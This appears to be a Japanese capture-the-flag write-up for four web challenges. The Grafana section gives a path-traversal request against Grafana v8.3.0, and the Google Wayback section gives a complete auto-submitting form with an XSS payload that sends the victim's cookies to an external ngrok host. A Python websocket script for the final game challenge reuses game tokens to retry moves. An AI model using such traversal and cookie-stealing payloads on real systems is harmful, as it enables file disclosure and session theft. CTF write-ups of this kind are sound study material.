Dino Run
恐竜で遊ぶゲームが起動する。
フラグが右下にあるようなので移動しよう。
盤面がそれほど大きくないこともあり、フラグマスに到達でき、表示されたフラグが答え
Grafana
- Grafana v8.3.0 (914fcedb72)が使用されている
- 調べるとLFI脆弱性がある https://www.exploit-db.com/exploits/50581
- PoCはそのまま動かさず、PoCを見ながら手動でポチポチしていたら以下でフラグが手に入った。
GET /public/plugins/state-timeline/../../../../../../../../tmp/flag
Google Wayback
- 脆弱性をざっくりがしてみる
- Recaptchaのbypass
- これは、自分でチャレンジレスポンス(用語あってるかな?)を用意して、与えることでbypassする CAPTCHA does not prevent cross-site request forgery (CSRF) - Detectify Blog
- Recaptchaの
POST /recaptcha/api2/userverify
の戻り値の2番目あたりにチャレンジレスポンスがあるので、これを相手に踏ませることにする
- POST経由でのXSSとなる
- これはフォームを用意して踏ませればいい Exploiting XSS in POST requests | Blog - PortSwigger
- 単純なXSS部分
- GETパラメタのqに
</title><script>[js codes]</script><title>
をやってやればいい
- GETパラメタのqに
- この辺を前提にして、以下のようなhtmlのサイトを踏ませれば良い。
<form name=TheForm action="http://google.jp.ctf.so/search.php?q=/search.php?q=%3C/title%3E%3Cscript%3Efetch(%27https://.ngrok.io/test%27%2bencodeURI(document.cookie));%3C/script%3E%3Ctitle%3E" method=post> <input type=hidden name="q" value="x"> <input type=hidden name="g-recaptcha-response" value="03AGdBq26UOKfM7KKXOADsY_CuVWK3rr3D6tvmIC6oIa5WF7H-F4HbAkrgD3vsatd4bTsZc3YMGx1kbVvmQs7VuzioLykj5qNF6hkroqUx96Xx_6uHtQo6cGrz6v_v7xjNw5flElRDkLhxXz2HGkjnniRqO-G3usNjW65Rk1ONs11YZb3bzljflKuyGiZkr17hcV8SV45OM9KZsBFsEU3XrNalCUE9KjJnsQbiyuH1kzpTE4LfczOykGRfpDBwhDtd7dxdL78-ORNXvyT4dhU3vPpUwfC6M6Y8ElaopQ56F1ta8CzegwjT5w5B01tkhrgiShBMX3oOyIK2yUFk4ywQ_g4D5Et93QFFl8KOzoHtXzWGq8UE8EabVbFaSV-ucpnkmwpvp97gNWtek03aWzCsjohbyci1vKfWApro1-ME4Vz6mNuteueCwEwwNHHcsTZCd_p3P4fGidT9rs2ALFwDzpKlEem1UTLfQA"> <input type=hidden name="btnG" value="Google+Search"> </form> <script> document.TheForm.submit(); </script>
Dino Run (Extra Hard)
- コードリーディング
- main.jsを読んでいるとwebsocketのconnectionのmessageくらいしか攻撃点がなさそう
- JWTトークンも攻撃は難しそうだしな…と思って読み進める
- up/down/left/rightの中の
let item = locationMap.get(decoded.key) || {};
がひっかかる。null(undefined?)で落としてもよさそうだが、なぜか何とか動くようにしてある。これは使えそう
- up/down/left/rightでdeadで失敗する場合があるが、その場合はJWTトークンを再送すれば再チャレンジができる。成功できるまでトークンを使いまわすことで駒を進めていくことができそう。右下に到達すればフラグが得られると思う
- ほぼほぼ間違いないが適当にjsコードを書き換えて手元でやると確率が結構キツイ…以下のようにpythonコードを書いてひたすら待ってました
- 初期トークンを入手したらそれと初期状態としてコマンド実行していく
- 以下そのままでは動かないけれど、適当に出力見ながらやっていけばフラグが得られます
- (かなりサーバに負担がかかる回答で、非想定だったら本当にごめんなさい)
import asyncio import websockets import json #ix = 0 #iy = 0 #start_token = "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJwb3NpdGlvbiI6eyJ4IjowLCJ5IjowfSwiZGVhZCI6ZmFsc2UsImtleSI6Im9ka0lIYW5WNFA3a0xBU0RiamRESWNYdVhEK043WFNkL3YrZ09IbkMwRU09IiwibmFtZSI6ImV2aWxtYW4iLCJpYXQiOjE2NTQ5OTY3MTF9.iAkA67Txfy7XqNupZKZ2dYocUAvD1xv8v9-giyRdo_GePjIUDD6Lt3eGPsma32zsTdabKLydHt7Z2XH8bxUvmV89Yy2eAhJwux84PXBiSgWlGe7sm_1n4-4-16XANy7C3rDStgy2-QcyynrmI9gho_3nOwOJZ2T_sxF68NQr_AODtfDAfp9m4WsR4E9Y2JNqDTw0VNZjt_Uxq_SO_3dUXvmiVUmpw-xpG7oG5iK28meQSKg6pboYWQQUm9_-d32ZBVNdquFq-8bzfeHVnGVM-l73KnkEiV2hQZXIbjDxJ9u2pKWwZgmf7qaBE8QwBi1GIvD0ZCuc5VbyfgI_Ih-VHQ" ix = 31 iy = 30 start_token = "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJwb3NpdGlvbiI6eyJ4IjozMSwieSI6MzB9LCJkZWFkIjpmYWxzZSwia2V5Ijoib2RrSUhhblY0UDdrTEFTRGJqZERJY1h1WEQrTjdYU2QvditnT0huQzBFTT0iLCJpYXQiOjE2NTUwMTI1Njh9.hfN5sF5C68FCpUPnxFcDAGMM4NYS52ws7uYjFl9de34FFJIkyxQkdTprB4IMy0kk9qqAe3XPOW-mA30VdcRfpYcgoxdoy42Kl8XZOhWQS2osNMeNuemeeMQpWldI7k3681p-2ObKdgBVqYigjo2p7x6Lk3IWIlcwnaelKjYnwoGKRWnFet2lN888bHxTcgLA6fzW4ywsBFN_Q4KR6e1b3DTmoopftbKGJSUTIPMyU0o-XbP7nmTP4MXsK6qWcWRO33hHHm3Sb-0HC_vaDMRD006iXYxbf8zJKnDaZTq0CKzrYeO6QZIQPzHJ7HK8fLZntSbmdj4HfDwc_2x2-rKsvg" async def solve(): uri = "ws://backend-dino-run-hard.jp.ctf.so" async with websockets.connect(uri) as websocket: token = start_token i = ix + iy failed = 0 while i < 31 * 2: com = "right" if i % 2 == 0 else "down" data = {"command": com, "token": token} await websocket.send(json.dumps(data)) for _ in range(10): resp = json.loads(await websocket.recv()) print(resp) if resp['command'] != "state": break if resp['dead']: failed += 1 #print(f"NG!{failed}", end="") #sys.stdout.flush() else: token = resp['token'] i += 1 x = i // 2 + i % 2 y = i // 2 failed = 0 print(f"\nOK! You can move! x:{x} y:{y} token:{token}") await asyncio.sleep(0.1) asyncio.get_event_loop().run_until_complete(solve())